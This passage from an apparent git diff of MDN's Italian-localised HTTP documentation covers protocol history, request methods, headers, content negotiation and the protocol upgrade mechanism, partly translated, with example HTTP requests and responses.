Since its original conception, as a protocol with one single method (GET) and returning only HTML pages, the HTTP protocol went through several revisions. The first documented version was HTTP/0.9 in 1991, corresponding to the original version. Very simple, it has a rudimentary search capability via the HTML {{ HTMLElement("isindex") }} element and an extension of the URL using the '?' character.

+ +

Then, in 1992, a version was published that became, with some minor changes, HTTP/1.0 (finalized in RFC 1945 in May 1996). One major improvement over the previous version was the ability to transmit files of different types, like images, videos, scripts, CSS documents, and so on, instead of only HTML files: this is achieved by using MIME types in conjunction with the Content-Type: header.

+ +

In 1995, the IETF  began developing a new version of HTTP, which would become HTTP/1.1. It quickly spread into wide usage, and it was officially standardized in 1997 in RFC 2068, with minor fixes in RFC 2616 two years later.

+ +

HTTP/1.1 brought the ability to reuse established connections for subsequent requests, greatly improving the performance of the protocol by lowering the latency between them; this is especially useful with complex HTML documents that need to fetch several subsequent files, like images or style sheets. It also brought the Host: header, which allows a single server, listening on a specific port, to receive requests for several websites; this paved the way for colocating numerous websites on one single server, greatly reducing the cost of hosting.

+ +

Since then, the HTTP protocol evolved by adding new headers, defining new behaviors without the need to fundamentally change the protocol. Unknown headers are simply ignored by servers or clients.

+ +

HTTP/1.1 is currently being revised by the IETF HTTPbis Working Group.

+ + + +

HTTP request methods

+ +

The request method indicates the action to be performed by the server. The HTTP/1.1 standard defines seven methods and allows other methods to be added later. Over the years, a few ones have been added in standards like WebDAV. The  IETF HTTPbis Working Group is currently working on an IANA registry to list them all. If a server receives a request method that it doesn't know, it must return a 501 Not implemented response; if it knows the method but is configured not to answer it, it must return a 405 Method not allowed response. Two methods are required to be supported: HEAD and GET; all others are optional.

+ +

Two specific semantics are defined in the standard and are crucial for web developers: the safety property and the idempotent property.

+ +

Safe methods

+ +

A safe method is a method that doesn't have any side-effects on the server. In other words, this property means that the method must be used only for retrieval of data. The safe HTTP methods defined in HTTP/1.1 are:

+ + + +
Notes: + + +
+ +

Idempotent methods

+ +

An idempotent method is a method such that the side-effects on the server of several identical requests with the method are the same as the side-effects of one single request.

+ + + +

Other methods

+ + + +

Many more methods, such as PROPFIND or PATCH are defined in other standards-track RFCs of the IETF, like WebDAV.

+ +

The CONNECT method is defined in RFC 2817.

+ +

HTTP Requests Methods in HTML Forms

+ +

In HTML, different HTTP request methods can be specified in the {{ htmlattrxref("method", "form") }} attribute of the {{ HTMLElement("form") }} element, but also to the {{ htmlattrxref("formmethod", "input") }} of the {{ HTMLElement("input") }} and {{ HTMLElement("button") }} elements. But not all HTTP methods can be used with these attributes; only GET and POST method are allowed by the HTML specification. See this StackExchange answer why other HTTP request methods are not allowed by the HTML specification.

+ +
Note: The choice of a GET or POST method for HTML forms is not neutral. Because the GET method is a safe method, it should be used only in cases where no side-effect is expected; e.g., it shouldn't be used to transmit an order, as this order is a side-effect. In all cases where such side-effects are expected, the POST method should be used.
+ +

HTTP response codes

+ +

When answering a client request, the server sends back a three-digit number indicating whether the request was successfully processed. These codes can be grouped in five categories:

+ + + +

A web developer shouldn't encounter many other response codes, but people building requests using the XMLHTTPRequest function may hit less usual response codes.

+ +

More on redirection responses

+ +

Starting in Gecko 9.0 {{ geckoRelease("9.0") }}, redirections (such as 301 and 307) that specify a javascript: URI are no longer performed. Instead, a bad connection error is presented. This helps avoid cross-site scripting attacks. See {{ bug(255119) }} if you want more details.

+ +

HTTP headers

+ +

HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon ':', then by its value (without CRLF in it). Leading white space before the value is ignored.

+ +

Headers are grouped according the context in which they may appear:

+ +
+
General headers
+
These headers apply to both requests and responses but are unrelated to the data eventually transmitted in the body. They therefore apply only to the message being transmitted. There are only a few of them and new ones cannot be added without increasing the version number of the HTTP protocol. The exhaustive list for HTTP/1.1 is {{ httpheader("Cache-Control") }}, {{ httpheader("Connection") }}, {{ httpheader("Date") }}, {{ httpheader("Pragma") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }}, {{ httpheader("Upgrade") }}, {{ httpheader("Via") }} and {{ httpheader("Warning") }}.
+
Request headers
+
These headers give more precise information about the resource to be fetched or about the client itself. Among them one can find cache-related headers, transforming a GET method in a conditional GET, like {{ httpheader("If-Modified-Since") }}, user-preference information like {{ httpheader("Accept-Language") }} or {{ httpheader("Accept-Charset") }} or plain client information like {{ httpheader("User-Agent") }}. New request headers cannot officially be added without increasing the version number of the HTTP protocol. But, it is common for new request headers to be added if both the server and the client agree on their meaning. In that case, a client should not assume that they will be handled adequately by the server; unknown request headers are handled as entity headers.
+
Response headers
+
These headers give more information about the resource sent back, like its real location ({{ httpheader("Location") }}) or about the server itself, like its name and version ({{ httpheader("Server") }}). New response headers cannot be added without increasing the version number of the HTTP protocol. But, it is common for new response headers to be added if both the server and the client agree on their meaning. In that case, a server should not assume that they will be handled adequately by the client ; unknown response headers are handled as entity headers.
+
Entity headers
+
These headers give more information about the body of the entity, like its length ({{ httpheader("Content-Length") }}), an identifying hash ({{ httpheader("Content-MD5") }}), or its MIME-type ({{ httpheader("Content-Type") }}). New entity headers can be added without increasing the version number of the HTTP protocol.
+
+ +

Headers can also be grouped according to how caching and non-caching proxies handle them:

+ +
+
End-to-end headers
+
These headers must be transmitted to the final recipient of the message; that is, the server for a request message or the client for a response message. Such a header means that intermediate proxies must retransmit it unmodified and also that caches must store it.
+
Hop-by-hop headers
+
These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailers") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.
+
+ +

In order to learn about the specific semantic of each header, see its entry in the comprehensive list of HTTP headers.

+ +

Useful request headers

+ +

Among the numerous HTTP request headers, several are especially useful when set correctly. If you are building your own requests, by using XMLHTTPRequest or when writing an extension and sending custom HTTP requests via XPCOM, then it is important to ensure the presence of headers that are often set by browsers based on the preferences of the user.

+ +
+
Controlling the language of the resource
+
Most user-agents, like Firefox, allow the user to set a preference for the language for receiving a resource. The browser translate this into an {{ httpheader("Accept-Language") }} header. It is good practice for web developers, when building specific HTTP requests, to include such a header too.
+
Using conditional GET
+
Caching is a major tool to accelerate the display of web pages. Even when parts of a webpage are refreshed via an XMLHTTPRequest:, it is a good idea to use the {{ httpheader("If-Modified-Since") }} header (and other similar ones) in order to fetch the new content only if it has changed. This approach lowers the burden on the network.
+
+ +

Useful response headers

+ +

The configuration of a web server is a critical part to ensure good performance and optimal security of a web site. Among the numerous HTTP response headers, several are of specific importance and should be configured on the server

+ +

Restricting framing

+ +

Several cross-site scripting (XSS) attacks take advantage of the ability to put third-party content inside an {{ HTMLElement("frame") }} or {{ HTMLElement("iframe") }}. In order to mitigate that risk, modern browsers have introduced the CSP frame-ancestors directive. By setting it with the value 'none', it prevents the browser from displaying this resource inside of a frame. Using it on critical resources (like those containing a formularies or critical information) will reduce the risk caused by XSS attacks. Note that this specific HTTP response header is not the only way to mitigate XSS risks; other techniques, like setting some Content Security Policies, may be helpful too.

+ +

Compression

+ +

Minimizing the amount of data transferred accelerates the display of a web page. Though most techniques, like CSS Sprites, should be applied on the site itself, compression of data must be set at the web server level. If set, resources requested by the client with an {{ httpheader("Accept-Encoding") }} request header are compressed using the appropriate method and sent back with a {{ httpheader("Content-Encoding") }} response header. Setting these in Apache 2 servers is done by using the mod_deflate module.

+ +
Note: Be aware that not all data formats can be efficiently compressed. Already-compressed media data, like JPEG images or most audio and video formats, do not shrink using another pass of compression. In fact, they often become larger due to the overhead of the compression method. It is important not to try to compress these resource types any further; there is no advantage in size and the compression/decompression mechanism is resource-intensive.
+ +

Controlling cache

+ +

HTTP Caching is a technique that prevents the same resource from being fetched several times if it hasn't change. Configuring the server with the correct response headers allows the user-agent to adequately cache the data. In order to do that, be sure that:

+ + + +

Setting the correct MIME types

+ +

The MIME type is the mechanism to tell the client the kind of document transmitted: the extension of a file name has no meaning on the web. It is therefore important that the server is correctly set up so that the correct MIME type is transmitted with each document: user-agents often use this MIME-type to determine what default action to do when a resource is fetched.

+ +
Note: + + +
+ +

See also

+ + + +

{{ languages( { "ja": "ja/HTTP"} ) }}

diff --git a/files/it/web/http/negoziazione-del-contenuto/index.html b/files/it/web/http/negoziazione-del-contenuto/index.html new file mode 100644 index 0000000000..e2be7de758 --- /dev/null +++ b/files/it/web/http/negoziazione-del-contenuto/index.html @@ -0,0 +1,143 @@ +--- +title: Negoziazione del contenuto +slug: Web/HTTP/negoziazione-del-contenuto +translation_of: Web/HTTP/Content_negotiation +--- +
Nel protocollo HTTP, la negoziazione del contenuto è il meccanismo utilizzato per servire diverse rappresentazioni di una risorsa avente medesimo URI, in modo che il programma utente possa specificare quale sia più adatta all'utente (ad esempio, quale lingua di un documento, quale formato immagine o quale codifica del contenuto).
+ +
+

Nota: alcuni svantaggi della negoziazione del contenuto HTTP sono spiegati in una pagina wiki del WHATWG. HTML5 fornisce alternative alla negoziazione del contenuto tramite, ad esempio, l'elemento <source>.

+
+ +

Principi di negoziazione dei contenuti

+ +

Uno specifico documento è chiamato risorsa. Quando un client desidera ottenere una risorsa, il client la richiede utilizzando il suo URL. Il server utilizza questo URL per scegliere una delle varianti che fornisce - ogni variante viene chiamata rappresentazione - e restituisce una rappresentazione specifica per il client. La risorsa complessiva, così come ciascuna delle rappresentazioni, ha un URL specifico. Il modo in cui viene scelta una rappresentazione specifica quando la risorsa viene chiamata è determinato dalla negoziazione del contenuto e ci sono diversi modi per negoziare tra il client e il server.

+ +

+ +

La determinazione della rappresentazione più adatta avviene attraverso uno dei seguenti meccanismi:

+ + + +

Nel corso degli anni sono state avanzate altre proposte di negoziazione dei contenuti, come la negoziazione trasparente dei contenuti e l'intestazione Alternates, ma non hanno ottenuto la giusta attenzione e sono state quindi abbandonate.

+ +

Negoziazione dei contenuti gestita dal server

+ +

Nella negoziazione del contenuto gestita lato server, o negoziazione proattiva del contenuto, il browser (o qualsiasi altro tipo di user-agent) invia diverse intestazioni HTTP insieme all'URL. Queste intestazioni descrivono la scelta preferita dell'utente. Il server li utilizza come suggerimenti e un algoritmo interno sceglie il contenuto migliore da offrire al client. L'algoritmo è specifico del server e non è definito dallo standard. Vedi, ad esempio, l'algoritmo di negoziazione di Apache.

+ +

+ +

Lo standard HTTP / 1.1 definisce l'elenco delle intestazioni standard che avviano la negoziazione guidata dal server ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Sebbene in senso stretto {{HTTPHeader ("User-Agent")}} non sia in questo elenco, a volte viene anche utilizzato per inviare una rappresentazione specifica della risorsa richiesta, per quanto questa non sia considerata una buona pratica. Il server utilizza l'intestazione {{HTTPHeader ("Vary")}} per indicare quali intestazioni ha effettivamente utilizzato per la negoziazione del contenuto (o più precisamente le intestazioni di risposta associate), in modo che le cache possano funzionare in modo ottimale.

+ +

Oltre a questi, c'è una proposta sperimentale per aggiungere più intestazioni all'elenco delle intestazioni disponibili, chiamate suggerimenti del client. I suggerimenti del client indicano il tipo di dispositivo su cui viene eseguito l'user agent (ad esempio, se si tratta di un computer desktop o di un dispositivo mobile).

+ +

Anche se la negoziazione del contenuto guidata dal server è il modo più comune per concordare una rappresentazione specifica di una risorsa, presenta diversi svantaggi:

+ + + +

Intestazione Accept

+ +

L’ intestazione {{HTTPHeader("Accept")}} elenca i tipi di risorse media MIME che l’interprete vuole processare. È una lista di elementi MIME separati da virgole, ognuno combinato con un indice di qualità, ovvero un parametro che indica il relativo grado di preferenza tra diversi tipi MIME.

+ +

L’ intestazione {{HTTPHeader("Accept")}} è definita dal browser, o da qualunque altro interprete, e può variare in base al contesto, come ottenre una pagina HTML, un'immagine, un video o uno script: diverge quando si ottiene un documento inserito nella barra degli indirizzi, o un elemento linkato via {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }}. I browser sono liberi di usare il valore dell’intestazione che pensano sia il più adeguato; è disponibile una lista di valori standard per I browers più comuni. is available.

+ +

L’intestazione Accept-CH {{experimental_inline}}

+ +
+

Questa è parte di una tecnologia sperimentale chiamata Client Hints. É supportata da Chrome 46 in poi. Il valore Device-Memoryè presente da Chrome 61 in poi.

+
+ +

L’header sperimentale {{HTTPHeader("Accept-CH")}}elenca dati di configurazione che possono essere usati dal server per elaborare una risposta appropriate. I valori validi sono:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ValoreSignificato
Device-MemoryIndica in modo approssimativo la quantità di memoria RAM. Questo valore è un approssimazione ottenuta arrotondando alla potenza di due più vicina e dividendo ciò per 1024. Per esempio, 512 megabytes diventano 0.5.
DPRIndica la risoluzione del dispositivo del client.
Viewport-WidthIndica la larghezza dell’area visibile in pixel CSS.
WidthIndica la reale larghezza di una risorsa (per esempio la larghezza di un’immagine).
+ +

L’intestazione Accept-Charset

+ +

L’ intestazione {{HTTPHeader("Accept-Charset")}} indica al server che tipo di codifica dei caratteri viene accettata dall’interprete. DI solito, è impostata con valori differenti per ogni browser locale, per esempio ISO-8859-1,utf-8;q=0.7,*;q=0.7 for a per l’Europa occidentale.

+ +

Essendo UTF-8 molto diffuso e il metodo più usato per la codifica dei caratteri, e per garantire una maggiore privacy attraverso meno configuration-based entropy , il browser omette Accept-Charset l’intestazione: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 e Chrome 27 hanno abbandonato questa intestazione.

+ +

L’intestazione Accept-CH-Lifetime

+ +
+

Questa è parte di una tecnologia sperimentale chiamata Client Hints. É supportata da Chrome 61 in poi.

+
+ +

L’intestazione {{HTTPHeader("Accept-CH-Lifetime")}} è usata con il valore Device-Memory dell’intestazione Accept-CH e indica il tempo che il dispositivo dovrebbe impiegare per condividere una certa quantità di memoria del dispositivo con il server. Il valore è in millisecondi ed è opzionale.

+ +

L’intestazione Accept-Encoding

+ +

L’intestazione {{HTTPHeader("Accept-Encoding")}} definisce il metodo di compressione utilizzato. Il valore è una lista di fattori q (es.: br, gzip;q=0.8) che indica la priorità del valore di codifica. Il valore di default di identità è quello a proprità più bassa (a meno che non sia specificato diversamente).

+ +

La comprensione dei messaggi http è uno dei modi migliori per migliorare le prestazioni di un sito web, esso diminuisce la dimensione dei dati trasmessi permettendo un uso migliore della larghezza di banda; I browser inviano sempre questa intestazone e il server deve essere configurato per addatarsi a tale intestazione ed usare la compressione.

+ +

L' intestazione Accept-Language

+ +

L'intestazione Accept-Language L'intestazone {{HTTPHeader("Accept-Language")}} indica il linguaggio predefinito dell'utente. E' una lista di valori con fattori di qualità(es.:"de, en;q=0.7"). Un valore di default è spesso deciso a seconda del linguaggio dell'interfaccia grafica dell'interprete, ma la maggior parte dei browser permette di impostare lingue differenti.

+ +

A causa dell'aumento dell'uso dei configuration-based entropy si può usare un valore modificato per identificare l'utente, non è consigliato cambiarlo e un sito web non può fidarsi di questo valore per interpretare la richiesta dell'utente. I Site designers non devono essere troppo scrupolosi nell'usare un interprete attraverso questa intestazione dato che risulterebbe scomodo all'utente:

+ + + +

L'intestazione User-Agent 

+ +
+

Anche se esistono usi appropriati di questa intastazione per selezionare contenuto, è considerata una cattiva abitudine affidarsi ad esso per definire quali funzioni sono supportate dall' interprete.

+
+ +

L'intestazione {{HTTPHeader("User-Agent")}} identifica il browser che invia la richiesta. Questa stringa può contenere una lista di product token e commenti separati da spazi.

+ +

Un product token è un nome seguito da '/' e un numero di versione, come Firefox/4.0.1. Ci possono essere tanti product token quanti ne vuole l'interprete. Un comment è una stringa qualsiasi delimitata da parentesi. Ovviamente le parentesi non possono essere usate nella stringa. Il formato del commento non è definito da nessuno standard, ma molti browser ci inseriscono molti token, separati da ';'.

+ +

L'intestazione di risposta Vary 

+ +

In contrasto alle precedenti intestazioni Accept-* che sono inviate dal client, l'intestazione  {{HTTPHeader("Vary")}} è inviata dal web server come risposta. Indica la lista delle intestazioni usate dal server durante la fase di negoziazione gestita dal server. L'intestazione è necessaria per informare la cache dei criteri decisionali in modo da replicarli, permettendo alla cache di essere funzionale e prevenendo l'invio di servizi errati all'utente.

+ +

Il valore '*' esprime che la fase di negoziazione gestita dal server usa anche informazioni non trasmesse in un'intestazione per scegliere il contenuto appropriato.

+ +

L'intestazione Vary è stata aggiunta nella versione HTTP 1.1 ed è necessaria per permettere alle cache di funzionare in modo adeguato. Una cache, per funzionare con la fase di negoziazione gestita dal server necessita di sapere i criteri usati dal server per scegliere il contenuto trasmesso. In questo modo lòa cache può replicare l'argoritmo in modo da fornire contenuti adeguati senza altre richieste al server. Ovviamente il carattere '*' previene la memorizzazione, dato che la cache non conosce che algoritmi ci stanno dietro.

+ +

Negoziazione Agent-driven

+ +

La negoziazione Server-driven presenta alcuni svantaggi: non è molto scalabile. C'è un'intestazione per ogni funzione/caratteristica usate nella negoziazione. Se vuoi usare risoluzione dello schermo deve essere creata una nuova intestazione HTTP. L'invio delle intestazioni deve essere fatto ad ogni richiest. Questo portebrebbe ad una diminuzione delle performance in caso di molte intestazioni. Più intestazioni specifiche vengono inviate, più il complesso risulta ambiguo, portando a problemi di privacy.

+ +

Sin dagli albori di HTTP, il protocollo permette un altro tipo di negoziazione: agent-driven negotiationreactive negotiation. In questa negoziazione, quando si presenta una richiesta ambigua, il server risponde con una pagina contenente dei link alle risorse alternative disponibili. All'utente vengono presentate le risorse e sceglie quale usare.

+ +

+ +

Sfortunatamente lo standard HTTP non specifica il formato della pagina, permettendo di scegliere tra le risorse disponobili non permettendo una facile automatizzazione del processo. Inoltre si ricade nella negoziazione server-driven, questo metodo è quasi sempre usato insieme allo scripting, specialmente utilizzando JavaScript per i redirect: dopo aver controllato i criteri di memorizzazione, il codice esegue il redirect. Un secondo problema è che è necessaria una richiesta per ottenere la risorsa, compromettendo la disponibilità della risorsa all'utente.

diff --git a/files/it/web/http/panoramica/index.html b/files/it/web/http/panoramica/index.html new file mode 100644 index 0000000000..f2cf4c990c --- /dev/null +++ b/files/it/web/http/panoramica/index.html @@ -0,0 +1,176 @@ +--- +title: Una panoramica su HTTP +slug: Web/HTTP/Panoramica +tags: + - HTTP + - Protocolli +translation_of: Web/HTTP/Overview +--- +
{{HTTPSidebar}}
+ +

HTTP è un {{Glossary("protocollo")}} che permette il recupero di risorse, come le pagine HTML. È il fondamento di ogni scambio di dati sul Web ed è un protocollo client-server,il che significa che le richieste vengono avviate dal destinatario, solitamente il browser Web. Un documento completo viene ricostruito dai diversi sotto-documenti recuperati, ad esempio testo, descrizione del layout, immagini, video, script e altro.

+ +

A Web document is the composition of different resources

+ +

Client e server comunicano scambiando messaggi individuali (al contrario di un flusso di dati). I messaggi inviati dal client, solitamente un browser Web, sono chiamati richieste (requests) e i messaggi inviati dal server come risposta sono chiamati risposte (responses).

+ +

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Progettato all'inizio degli anni '90 (1990), HTTP è un protocollo estensibile che si è evoluto nel tempo. È un protocollo a livello di applicazione che viene inviato mediante {{Glossary("TCP")}}, o mediante una connessione TCP cifrata {{Glossary("TLS")}}, anche se teoricamente potrebbe essere utilizzato qualsiasi protocollo di trasporto affidabile. Grazie alla sua estensibilità, viene utilizzato non solo per recuperare documenti ipertestuali, ma anche immagini e video o per pubblicare contenuti su server, come con i risultati dei moduli HTML. HTTP può essere utilizzato anche per recuperare parti di documenti per aggiornare pagine Web su richiesta.

+ +

Componenti di sistemi basati su HTTP

+ +

HTTP è un protocollo client-server: le richieste vengono inviate da un'entità, lo user-agent (o un proxy per conto di esso). Il più delle volte lo user-agent è un browser Web, ma può essere qualsiasi cosa, ad esempio un robot che esegue la scansione del Web per popolare e mantenere un indice del motore di ricerca.

+ +

Ogni singola richiesta viene inviata a un server, che la gestisce e fornisce una risposta, chiamata response. Tra il client e il server ci sono numerose entità, chiamate collettivamente {{Glossary("Proxy_server", "proxies")}}, che eseguono operazioni diverse e fungono da gateway o {{Glossary("Cache", "caches")}}, per esempio.

+ +

Client server chain

+ +

In realtà, ci sono più computer tra un browser e il server che gestisce la richiesta: ci sono router, modem e altro. Grazie alla struttura a strati del Web, questi sono nascosti nella rete e nei livelli di trasporto. L'HTTP è in cima, a livello applicazione. Sebbene importanti per diagnosticare i problemi di rete, i livelli sottostanti sono per lo più irrilevanti per la descrizione di HTTP.

+ +

Client: lo user-agent

+ +

Lo user-agent è qualsiasi strumento che agisce per conto dell'utente. Questo ruolo viene svolto principalmente dal browser Web; altre possibilità sono i programmi utilizzati da ingegneri e sviluppatori Web per eseguire il debug delle loro applicazioni.

+ +

Il browser è sempre l'entità che avvia la richiesta. Non è mai il server (sebbene nel corso degli anni siano stati aggiunti alcuni meccanismi per simulare i messaggi avviati dal server).

+ +

Per presentare una pagina Web, il browser invia una richiesta iniziale per recuperare il documento HTML che rappresenta la pagina. Quindi analizza questo file, effettuando richieste aggiuntive corrispondenti a script di esecuzione, informazioni sul layout (CSS) da visualizzare e sotto-risorse contenute all'interno della pagina (solitamente immagini e video). Il browser Web quindi compone queste risorse per presentare all'utente un documento completo, la pagina Web. Gli script eseguiti dal browser possono recuperare più risorse nelle fasi successive e il browser aggiorna la pagina Web di conseguenza.

+ +

Una pagina Web è un documento ipertestuale. Ciò significa che alcune parti del testo visualizzato sono collegamenti che possono essere attivati (di solito con un clic del mouse) per recuperare una nuova pagina Web, consentendo all'utente di dirigere il proprio user-agent e navigare nel Web. Il browser traduce queste indicazioni in richieste HTTP e interpreta ulteriormente le risposte HTTP per presentare all'utente una risposta chiara.

+ +

Il Web server

+ +

Sul lato opposto del canale di comunicazione, è il server, che serve (restituisce) il documento come richiesto dal client. Un server appare virtualmente come un'unica macchina: questo perché potrebbe essere un insieme di server, i quali condividono il carico (bilanciamento del carico) o un complesso software che interroga altri computer (come una cache, un DB server o un e-commerce server), generando totalmente o parzialmente il documento su richiesta.

+ +

Un server non è necessariamente una singola macchina, ma più istanze di software server possono essere ospitate sulla stessa macchina. Con HTTP / 1.1 e l'intestazione {{HTTPHeader ("Host")}}, possono persino condividere lo stesso indirizzo IP. HERE!!!

+ +

Proxies

+ +

Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called proxies. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:

+ + + +

Basic aspects of HTTP

+ +

HTTP is simple

+ +

HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.

+ +

HTTP is extensible

+ +

Introduced in HTTP/1.0, HTTP headers make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.

+ +

HTTP is stateless, but not sessionless

+ +

HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.

+ +

HTTP and connections

+ +

A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be reliable, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.

+ +

Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.

+ +

In order to mitigate this flaw, HTTP/1.1 introduced pipelining (which proved difficult to implement) and persistent connections: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.

+ +

Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with QUIC which builds on UDP to provide a more reliable and efficient transport protocol.

+ +

What can be controlled by HTTP

+ +

This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the origin constraint, by contrast, has only been added in the 2010s.

+ +

Here is a list of common features controllable with HTTP.

+ + + +

HTTP flow

+ +

When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:

+ +
    +
  1. Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.
  2. +
  3. Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: +
    GET / HTTP/1.1
    +Host: developer.mozilla.org
    +Accept-Language: fr
    +
  4. +
  5. Read the response sent by the server, such as: +
    HTTP/1.1 200 OK
    +Date: Sat, 09 Oct 2010 14:28:02 GMT
    +Server: Apache
    +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
    +ETag: "51142bc1-7449-479b075b2891b"
    +Accept-Ranges: bytes
    +Content-Length: 29769
    +Content-Type: text/html
    +
    +<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
    +
  6. +
  7. Close or reuse the connection for further requests.
  8. +
+ +

If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.

+ +

HTTP Messages

+ +

HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a frame, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.

+ +

There are two types of HTTP messages, requests and responses, each with its own format.

+ +

Requests

+ +

An example HTTP request:

+ +

A basic HTTP request

+ +

Requests consists of the following elements:

+ + + +

Responses

+ +

An example response:

+ +

+ +

Responses consist of the following elements:

+ + + +

APIs based on HTTP

+ +

The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.

+ +

Another API, server-sent events, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.

+ +

Conclusion

+ +

HTTP è un protocollo estensibile che è facile da usare. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.

+ +

Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple HTTP message monitor.

diff --git a/files/it/web/http/protocol_upgrade_mechanism/index.html b/files/it/web/http/protocol_upgrade_mechanism/index.html new file mode 100644 index 0000000000..0ab63fed8e --- /dev/null +++ b/files/it/web/http/protocol_upgrade_mechanism/index.html @@ -0,0 +1,148 @@ +--- +title: Protocol upgrade mechanism +slug: Web/HTTP/Protocol_upgrade_mechanism +translation_of: Web/HTTP/Protocol_upgrade_mechanism +--- +
{{HTTPSidebar}}
+ +

Il protocollo HTTP/1.1  fornisce uno speciale meccanismo che può essere utilizzato per aggiornare a una connessione già stabilita da un protocollo diverso, utilizzando il campo d'intestazione(Header) {{HTTPHeader("Upgrade")}} ..

+ +

Questo meccanismo è opzionale; non può essere utilizzato per insistere su una modifica del protocollo. Le implementazioni possono scegliere di non sfruttare un aggiornamento anche se supportano il nuovo protocollo e, in pratica, questo meccanismo viene utilizzato principalmente per avviare una connessione WebSocket.

+ +

Notare anche che HTTP / 2 non consente esplicitamente l'uso di questo meccanismo; è specifico per HTTP / 1.1.

+ +

Aggiornamento delle connessioni HTTP/1.1

+ +

Il campo d'intestazione(Header) {{HTTPHeader("Upgrade")}} viene utilizzato dai client per invitare il server a passare a uno dei protocolli elencati, in ordine decrescente.

+ +

Poiché Upgrade è un'intestazione(Header) hop-by-hop, deve essere elencata anche nel campo d'intestazione(Header) {{HTTPHeader("Connection")}} . Ciò significa che una richiesta che include Upgrade sarebbe simile a:

+ +
GET /index.html HTTP/1.1
+Host: www.example.com
+Connection: upgrade
+
+ +

Potrebbero essere necessarie altre intestazioni(Header) a seconda del protocollo richiesto; for example, ad esempio, gli aggiornamenti di WebSocket consentono intestazioni (headers) aggiuntive per configurare i dettagli sulla connessione WebSocket e per offrire un certo grado di sicurezza nell'apertura della connessione. Vedi {{anch("Upgrading to a WebSocket connection")}} per maggiori dettagli.

+ +

Se il server decide di aggiornare la connessione, restituisce lo stato di risposta {{HTTPStatus(101, "101 Switching Protocols")}} con un'intestazione d'aggiornamento (Upgrade header) che specifica il protocollo/i a cui passare. Se non aggiorna o non può farlo ignora l'Upgrade header e rimanda regolarmente una risposta (ad esempio, un {{HTTPStatus(200, "200 OK")}}).

+ +

